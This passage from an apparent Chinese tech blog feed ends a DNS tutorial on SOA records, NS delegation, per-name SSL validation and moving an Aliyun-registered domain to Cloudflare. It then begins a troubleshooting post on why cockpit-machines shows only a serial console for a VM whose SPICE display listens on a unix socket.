&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;字段&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;含义&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;实测值（Cloudflare 自动生成）&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;MNAME&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;主名称服务器&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;aaa.ns.cloudflare.com.&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;RNAME&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;管理员邮箱（点代替 @）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;dns.cloudflare.com.&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;Serial&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;区域版本号，每次修改应增加&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;2417099281&lt;&#x2F;code&gt;（Unix 时间戳风格）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;Refresh&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;辅助服务器多久检查一次更新&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;10000&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;Retry&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;刷新失败后多久重试&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;2400&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;Expire&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;联系不上主服务器多久后放弃&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;604800&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;Minimum TTL&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;负缓存 TTL（查不到的结论缓存多久）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;1800&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;和你操作的关系：&lt;strong&gt;把 NS 从服务商 A 换到 B，本质是更换权威来源&lt;&#x2F;strong&gt;——之前 SOA 由 A 的服务器应答，之后由 B 应答。SOA 不需要手动创建，DNS 服务商自动生成。本文用到的两处 SOA 数据顺手可查：负缓存时长（判断&quot;查不到&quot;要多久过期）、Serial（判断两侧区数据是否同步）。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;shi-yi-ns-wei-pai-vs-zhi-jie-jia-a-ji-lu&quot;&gt;十一、NS 委派 vs 直接加 A 记录&lt;&#x2F;h2&gt;
&lt;p&gt;委派不只是&quot;换 DNS 服务商&quot;用的——在自己的区里给子域名写 NS 记录，就能把子域管理权下放：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;示例&lt;&#x2F;strong&gt;：你拥有 &lt;code&gt;example.com&lt;&#x2F;code&gt;，给 &lt;code&gt;user1.example.com&lt;&#x2F;code&gt; 添加两条 NS 记录指向 &lt;code&gt;ns1.otherdns.com&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;ns2.otherdns.com&lt;&#x2F;code&gt;，此后 &lt;code&gt;user1.example.com&lt;&#x2F;code&gt; 及其所有下级的解析完全由对方负责。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;对比项&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;直接加 A 记录&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;NS 委派&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;谁管理解析&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;你&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;用户自己&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;用户能否自己改&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;不能，必须找你&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;能，自己登录后台&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;你的维护成本&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;随用户数线性增长&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;只维护委派关系&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;用户能否用自己的 DNS&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;不能&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;能&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;适合场景&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;自己全控&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;提供域名给他人使用&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;为什么&quot;平台提供三级域名给用户&quot;场景标配 NS 委派：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;用户拥有完整控制权（A&#x2F;CNAME&#x2F;MX&#x2F;TXT 全套）；&lt;&#x2F;li&gt;
&lt;li&gt;平台只维护&quot;谁拥有哪个子域&quot;这一层，不碰用户数据；&lt;&#x2F;li&gt;
&lt;li&gt;用户可以把子域再委派到 Cloudflare 等服务，享受 CDN&#x2F;防护；&lt;&#x2F;li&gt;
&lt;li&gt;解析压力分散到用户各自的 DNS 服务器。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;yan-shen-wan-fa-yong-ns-wei-pai-da-yi-ge-san-ji-yu-ming-fen-fa-fu-wu&quot;&gt;延伸玩法：用 NS 委派搭一个&quot;三级域名分发服务&quot;&lt;&#x2F;h3&gt;
&lt;p&gt;顺着上面的思路推：既然 NS 记录可以逐级委派，那能不能注册一个域名，把它的子域分发给别人当独立域名用？&lt;strong&gt;逻辑上完全成立，这正是很多免费二级&#x2F;三级域名服务和域名分发平台的核心原理&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;你注册 &lt;code&gt;example.com&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;为每个用户划出 &lt;code&gt;user1.example.com&lt;&#x2F;code&gt; 这样的子域，把它的 NS 委派给你自建的 DNS 系统（或第三方平台，甚至直接委派给 Cloudflare，让用户在 Cloudflare 后台自助管理）；&lt;&#x2F;li&gt;
&lt;li&gt;在这套系统里自由创建 &lt;code&gt;blog.user1.example.com&lt;&#x2F;code&gt;、&lt;code&gt;shop.user1.example.com&lt;&#x2F;code&gt; 等，分配给不同用户；&lt;&#x2F;li&gt;
&lt;li&gt;用户拿到的是一个完整、可独立解析的三级域名。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;dan-you-ji-ge-xian-shi-xian-zhi&quot;&gt;但有几个现实限制&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;得有一套能跑自动化的 DNS 权威&lt;&#x2F;strong&gt;：批量分发意味着程序化增删区数据。阿里云&#x2F;Cloudflare 的网页控制台只能手动加记录，撑不起&quot;注册即开通&quot;；要做自动化，得用带 API 的 DNS 服务或自建权威（BIND&#x2F;PowerDNS&#x2F;CoreDNS + 注册流程）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;证书链路的控制权&lt;&#x2F;strong&gt;：CA 逐名验证（见第十二节）——三级域名 &lt;code&gt;a.b.example.com&lt;&#x2F;code&gt; 的 DNS-01 验证记录要加在 &lt;code&gt;a.b.example.com&lt;&#x2F;code&gt; 名下。委派出去后用户能自助完成；没委派时每次签发&#x2F;续期都要平台配合，或用 CNAME 把 &lt;code&gt;_acme-challenge&lt;&#x2F;code&gt; 引到用户自己的验证区。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;浏览器与邮件生态的信任折扣&lt;&#x2F;strong&gt;：三级域名 URL 长、与主域共享信誉，免费子域名服务是滥用重灾区，容易被搜索引擎降权、被邮件服务商拉黑。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;委派稳定性 = 你的责任&lt;&#x2F;strong&gt;：被委派的那组 NS 一旦挂掉，该子域下&lt;strong&gt;所有&lt;&#x2F;strong&gt;三级域名全部解析失败——用户把命脉交给了你的基础设施。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;一句话总结：&lt;strong&gt;NS 记录可以逐级委派，每一级都能把下一级的解析权交出去——这是 DNS 分层管理的精髓&lt;&#x2F;strong&gt;；但&quot;逻辑上能做&quot;与&quot;运营得好&quot;之间，隔着自动化基础设施和长期信任建设。&lt;&#x2F;p&gt;
&lt;p&gt;顺带一提：本文 demo.asia 这种情况就是委派的逆操作——注册局在 &lt;code&gt;.asia&lt;&#x2F;code&gt; 区里给整个二级域做委派，而 &lt;code&gt;serverHold&lt;&#x2F;code&gt; 就是注册局暂时扣住这条委派不发。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;shi-er-ssl-zheng-shu-yan-zheng-zhu-ming-yan-zheng-bu-shi-zhi-yan-er-ji-yu-ming&quot;&gt;十二、SSL 证书验证：逐名验证，不是只验二级域名&lt;&#x2F;h2&gt;
&lt;p&gt;常见误区：&quot;申请证书时都是检验二级域名的控制权吗？&quot;&lt;strong&gt;不是。&lt;&#x2F;strong&gt; CA 验证的是&lt;strong&gt;你申请的那个完整域名（FQDN）本身&lt;&#x2F;strong&gt;。无论申请 &lt;code&gt;example.com&lt;&#x2F;code&gt; 还是 &lt;code&gt;a.b.example.com&lt;&#x2F;code&gt;，验证对象都是提交申请的那个完整名字：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;验证方式&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;验证内容&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;HTTP-01&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;访问 &lt;code&gt;http:&#x2F;&#x2F;&amp;lt;申请域名&amp;gt;&#x2F;.well-known&#x2F;acme-challenge&#x2F;&amp;lt;token&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;DNS-01&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;查询 &lt;code&gt;_acme-challenge.&amp;lt;申请域名&amp;gt;&lt;&#x2F;code&gt; 的 TXT 记录&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;要完成 &lt;code&gt;a.b.example.com&lt;&#x2F;code&gt; 的验证，你必须在 &lt;code&gt;a.b.example.com&lt;&#x2F;code&gt; 下添加记录——&lt;strong&gt;前提是你拥有该域所属 DNS 区域的管理权限或委派权限&lt;&#x2F;strong&gt;。这正好印证 NS 委派的价值：把 &lt;code&gt;b.example.com&lt;&#x2F;code&gt; 委派给用户后，用户就能自己完成 DNS-01 验证；DNS 还在你手里时，用户每张证书都得找你。&lt;&#x2F;p&gt;
&lt;p&gt;和本文主线的呼应：改 NS 到 Cloudflare 后，DNS-01 验证走的就是 Cloudflare 的 TXT 记录；若用 acme.sh 等 ACME 客户端配合 Cloudflare API Token，续期全自动。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;shi-san-wan-zheng-cao-zuo-ba-zhu-ce-zai-a-li-yun-de-yu-ming-qie-dao-cloudflare&quot;&gt;十三、完整操作：把注册在阿里云的域名切到 Cloudflare&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;13-1-cao-zuo-qian-zhun-bei&quot;&gt;13.1 操作前准备&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;备份现有解析记录&lt;&#x2F;strong&gt;：进入云解析控制台，把 A&#x2F;CNAME&#x2F;MX&#x2F;TXT 记录导出或截图。特别是 MX 和 TXT，遗漏会导致邮箱收不到信。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;13-2-di-yi-bu-zai-cloudflare-tian-jia-yu-ming&quot;&gt;13.2 第一步：在 Cloudflare 添加域名&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;登录 Cloudflare，点「添加站点」，输入根域名（如 &lt;code&gt;demo.com&lt;&#x2F;code&gt;，不要带 &lt;code&gt;www&lt;&#x2F;code&gt; 或协议头）。&lt;&#x2F;li&gt;
&lt;li&gt;选 Free 套餐。&lt;&#x2F;li&gt;
&lt;li&gt;核对自动扫描出的记录；&lt;strong&gt;MX&#x2F;TXT 务必保持「仅 DNS」（灰色云朵）&lt;&#x2F;strong&gt;，橙色云朵是 Cloudflare 代理，只该给需要 CDN 的网站记录开。&lt;&#x2F;li&gt;
&lt;li&gt;复制 Cloudflare 分配的&lt;strong&gt;两个专属 NS&lt;&#x2F;strong&gt;（形如 &lt;code&gt;xxx.ns.cloudflare.com&lt;&#x2F;code&gt;，每个域名按哈希分配一对，同账号不同域名的对子也不同）。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;只能用分配给这个域名的那对&lt;&#x2F;strong&gt;：Cloudflare 的激活检查按分配对校验注册局委派，对不上 zone 会一直卡在 &lt;code&gt;Pending Nameserver Update&lt;&#x2F;code&gt;。把上一个域名用过的 NS 抄过来、或者填 4 个（分配对 + 旧对子）都不可靠——所有 &lt;code&gt;*.ns.cloudflare.com&lt;&#x2F;code&gt; 背后是同一套 anycast 集群，旧对子没有任何额外价值。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;13-3-di-er-bu-zai-zhu-ce-shang-kong-zhi-tai-xiu-gai-dns-fu-wu-qi&quot;&gt;13.3 第二步：在注册商控制台修改 DNS 服务器&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;登录阿里云&lt;strong&gt;域名&lt;&#x2F;strong&gt;控制台（不是云解析控制台），找到域名 →「管理」。&lt;&#x2F;li&gt;
&lt;li&gt;左侧菜单「DNS 管理」→「DNS 修改」→「修改DNS服务器」。&lt;&#x2F;li&gt;
&lt;li&gt;替换为 Cloudflare 的两个 NS，提交。注册商侧立即反映；TLD 侧写入时间取决于注册局（新域名还要等实名审核的 &lt;code&gt;serverHold&lt;&#x2F;code&gt; 解除）。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;13-4-di-san-bu-yan-zheng-yu-deng-dai&quot;&gt;13.4 第三步：验证与等待&lt;&#x2F;h3&gt;
&lt;p&gt;分四层逐一确认，哪层断了修哪层：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;console&quot; class=&quot;language-console &quot;&gt;&lt;code class=&quot;language-console&quot; data-lang=&quot;console&quot;&gt;$ whois demo.asia | grep -i status        # ① 注册局：serverHold 是否已解除
$ dig NS demo.asia @b2.asia.afilias-nst.org   # ② TLD：委派是否已发布
$ dig SOA demo.asia @xxx.ns.cloudflare.com    # ③ Cloudflare：zone 是否激活
$ dig demo.asia +short                        # ④ 全网：端到端是否解析
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;③可先行：zone 在 Cloudflare 激活后即开始应答，②发布后全网立即可达（受负缓存影响最多等一个 SOA TTL）。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;shi-si-guo-nei-zhu-liu-zhu-ce-shang-su-lan&quot;&gt;十四、国内主流注册商速览&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;平台&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;特点&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;阿里云（万网）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;国内份额最大，生态完整，一站式建站&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;腾讯云（DNSPod）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;与腾讯系产品结合紧密，解析服务口碑好&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;华为云&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;政企背景，安全性和稳定性突出&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;西部数码&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;老牌 IDC，价格策略灵活&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;注册商只影响&quot;改 NS 的入口好不好找&quot;，解析质量取决于 NS 指向谁——反正都要切 Cloudflare 的话，差别不大。注意：NS 切走后，原注册商的「云解析」产品就闲置了，别再两头改记录。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;shi-wu-he-xin-zong-jie&quot;&gt;十五、核心总结&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;域名层级&lt;&#x2F;strong&gt;：从右到左逐级变小；每层是一个 zone，由对应权威服务器负责。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;TLD 服务器&lt;&#x2F;strong&gt;：注册局运营，只存 NS 委派不存 A 记录，「改 NS」改的就是 TLD 区里自己域名那条委派。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;委派链是 referral 逐级引荐&lt;&#x2F;strong&gt;：客户端→resolver 是递归，resolver 逐级问各级权威是迭代；任何一环缺失（如 serverHold）整链即断。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;鸡生蛋有两道保险&lt;&#x2F;strong&gt;：NS 主机名在别人家时走独立向下短链；在自己家时靠父区 glue。glue 是申报制的非权威提示，只用于建立连接，永不作为答案。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;权威数据双副本&lt;&#x2F;strong&gt;：委派 NS 和 NS 主机名的 IP 都同时存在于父区（提示）和子区（真身），这是结构性循环得以运转的关键。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;改 NS ≠ 改解析记录&lt;&#x2F;strong&gt;：前者动 TLD 区（经注册商），后者动权威区（在 DNS 服务商）；区跟着委派走，谁被委派谁生效。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;serverHold&lt;&#x2F;strong&gt;：实名审核未过时注册局扣住委派，与&quot;缓存传播&quot;无关；审核一过分钟级生效。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;SOA&lt;&#x2F;strong&gt;：区的户口本，换 NS 即换权威来源，自动生成无需手管。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;SSL 验证逐名进行&lt;&#x2F;strong&gt;：验证的是申请的完整 FQDN，前提是能控制该名字所属的 DNS 区（直管或被委派）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;切换 Cloudflare 三步&lt;&#x2F;strong&gt;：备份记录 → Cloudflare 添加站点拿专属 NS 对 → 注册商改 NS；只能用分配对，按 ①whois ②TLD ③zone ④全网 四层验证。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;em&gt;文中实测基于 2026-10 的 dig (9.18) 与阿里云&#x2F;Cloudflare 控制台现状，输出已将真实域名替换为 demo.asia。&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>cockpit-machines 只剩串口 console？——SPICE unix socket 监听踩坑记</title>
        <published>2026-10-09T23:10:00+08:00</published>
        <updated>2026-10-09T23:10:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/10/cockpit-machines-console-only-spice-socket/"/>
        <id>https://vercel.juzhong.asia/2026/10/cockpit-machines-console-only-spice-socket/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/10/cockpit-machines-console-only-spice-socket/">&lt;h1 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h1&gt;
&lt;p&gt;宿主机上三台 virsh 管理的虚拟机（&lt;code&gt;qemu:&#x2F;&#x2F;&#x2F;system&lt;&#x2F;code&gt; 下），其中日常开发机 &lt;code&gt;ubuntu.code&lt;&#x2F;code&gt;（16 vCPU &#x2F; 32G，virtiofs 共享目录 + virgl 3D 加速）在 cockpit 的 Virtual machines 页面里：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;详情页 Console 卡片&lt;strong&gt;只剩 Serial Console&lt;&#x2F;strong&gt;（串口）；&lt;&#x2F;li&gt;
&lt;li&gt;图形 console 消失；&lt;&#x2F;li&gt;
&lt;li&gt;连 SPICE 模式下应有的 &lt;strong&gt;Launch Remote Viewer 按钮（下载 &lt;code&gt;.vv&lt;&#x2F;code&gt; 文件）也没有了&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;另外两台（&lt;code&gt;106&lt;&#x2F;code&gt;、&lt;code&gt;win11&lt;&#x2F;code&gt;）一切正常。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pai-cha-guo-cheng&quot;&gt;排查过程&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;di-yi-bu-wan-lu-zi-di-xiang-shang-cha-ji-chu-she-shi&quot;&gt;第一步（弯路）：自底向上查基础设施&lt;&#x2F;h2&gt;
&lt;p&gt;一开始的思路是&quot;数据链路上某层断了&quot;，于是从底往上逐层验证：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# libvirtd 与 libvirt-dbus 服务状态
systemctl status libvirtd            # active，monolithic legacy daemon
busctl list | grep libvirt           # 系统总线上 org.libvirt 存在（libvirt-dbus --system）

# 直接实测 D-Bus 方法（绕过 cockpit 前端）
busctl call org.libvirt &amp;#x2F;org&amp;#x2F;libvirt&amp;#x2F;QEMU org.libvirt.Connect ListDomains u 0
# → 正常返回 3 个 domain 对象路径

busctl call org.libvirt &amp;#x2F;org&amp;#x2F;libvirt&amp;#x2F;QEMU&amp;#x2F;domain&amp;#x2F;&amp;lt;uuid&amp;gt; \
  org.freedesktop.DBus.Properties GetAll s org.libvirt.Domain
# → 正常返回 Name&amp;#x2F;Active&amp;#x2F;Id&amp;#x2F;UUID...

busctl call org.libvirt &amp;#x2F;org&amp;#x2F;libvirt&amp;#x2F;QEMU org.libvirt.Connect ListStoragePools u 0
busctl call org.libvirt &amp;lt;pool-path&amp;gt; org.freedesktop.DBus.Properties GetAll s org.libvirt.StoragePool
# → pools&amp;#x2F;networks 全部正常
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;D-Bus 层全绿。权限层也排除了：&lt;code&gt;org.libvirt.conf&lt;&#x2F;code&gt; 允许 &lt;code&gt;libvirt&lt;&#x2F;code&gt; 组向 &lt;code&gt;org.libvirt&lt;&#x2F;code&gt; 发消息，用户在该组；polkit 规则放行 &lt;code&gt;libvirtdbus&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;甚至写了个 Python 脚本&lt;strong&gt;模拟浏览器驱动 cockpit-bridge&lt;&#x2F;strong&gt;：用正确的帧协议（&lt;code&gt;&amp;lt;长度&amp;gt;\n&amp;lt;channel&amp;gt;\n&amp;lt;payload&amp;gt;&lt;&#x2F;code&gt;）打开 &lt;code&gt;dbus-json3&lt;&#x2F;code&gt; 通道调 &lt;code&gt;ListDomains&lt;&#x2F;code&gt;——bridge 端到端也正常返回。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;这段弯路的教训：&lt;strong&gt;从底往上排查前，先确认最直接的数据源&lt;&#x2F;strong&gt;。前端渲染 VM 详情的原料就是 &lt;code&gt;DomainGetXMLDesc&lt;&#x2F;code&gt; 的 XML，而这个从第一步就该直接 dump 出来看。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;di-er-bu-dui-bi-san-tai-vm-de-xml&quot;&gt;第二步：对比三台 VM 的 XML&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;virsh -c qemu:&amp;#x2F;&amp;#x2F;&amp;#x2F;system dumpxml ubuntu.code &amp;gt; u.xml
virsh -c qemu:&amp;#x2F;&amp;#x2F;&amp;#x2F;system dumpxml 106 &amp;gt; 1.xml
virsh -c qemu:&amp;#x2F;&amp;#x2F;&amp;#x2F;system dumpxml win11 &amp;gt; w.xml
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;diff 之后，&lt;code&gt;ubuntu.code&lt;&#x2F;code&gt; 独有的 graphics 定义浮出水面：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;!-- ubuntu.code：unix socket 监听（virgl 配套） --&amp;gt;
&amp;lt;graphics type=&amp;#x27;spice&amp;#x27;&amp;gt;
  &amp;lt;listen type=&amp;#x27;socket&amp;#x27; socket=&amp;#x27;&amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;qemu&amp;#x2F;domain-7-ubuntu.code&amp;#x2F;spice.sock&amp;#x27;&amp;#x2F;&amp;gt;
  &amp;lt;image compression=&amp;#x27;off&amp;#x27;&amp;#x2F;&amp;gt;
  &amp;lt;gl enable=&amp;#x27;yes&amp;#x27; rendernode=&amp;#x27;&amp;#x2F;dev&amp;#x2F;dri&amp;#x2F;renderD128&amp;#x27;&amp;#x2F;&amp;gt;
&amp;lt;&amp;#x2F;graphics&amp;gt;

&amp;lt;!-- 106 &amp;#x2F; win11：TCP 监听，属性齐全 --&amp;gt;
&amp;lt;graphics type=&amp;#x27;spice&amp;#x27; autoport=&amp;#x27;yes&amp;#x27; listen=&amp;#x27;0.0.0.0&amp;#x27;&amp;gt;
  &amp;lt;listen type=&amp;#x27;address&amp;#x27; address=&amp;#x27;0.0.0.0&amp;#x27;&amp;#x2F;&amp;gt;
&amp;lt;&amp;#x2F;graphics&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关键差异：&lt;code&gt;ubuntu.code&lt;&#x2F;code&gt; 的 &lt;code&gt;&amp;lt;graphics&amp;gt;&lt;&#x2F;code&gt; 元素&lt;strong&gt;属性上没有&lt;&#x2F;strong&gt; &lt;code&gt;autoport&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;listen&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;port&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;tlsPort&lt;&#x2F;code&gt;——监听信息全在 &lt;code&gt;&amp;lt;listen type=&#x27;socket&#x27;&amp;gt;&lt;&#x2F;code&gt; 子元素里。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-san-bu-jie-bao-qian-duan-dai-ma-zhao-jie-xi-luo-ji&quot;&gt;第三步：解包前端代码找解析逻辑&lt;&#x2F;h2&gt;
&lt;p&gt;cockpit-machines 是打包压缩的 React 应用，直接 grep 解包产物：&lt;&#x2F;p&gt;
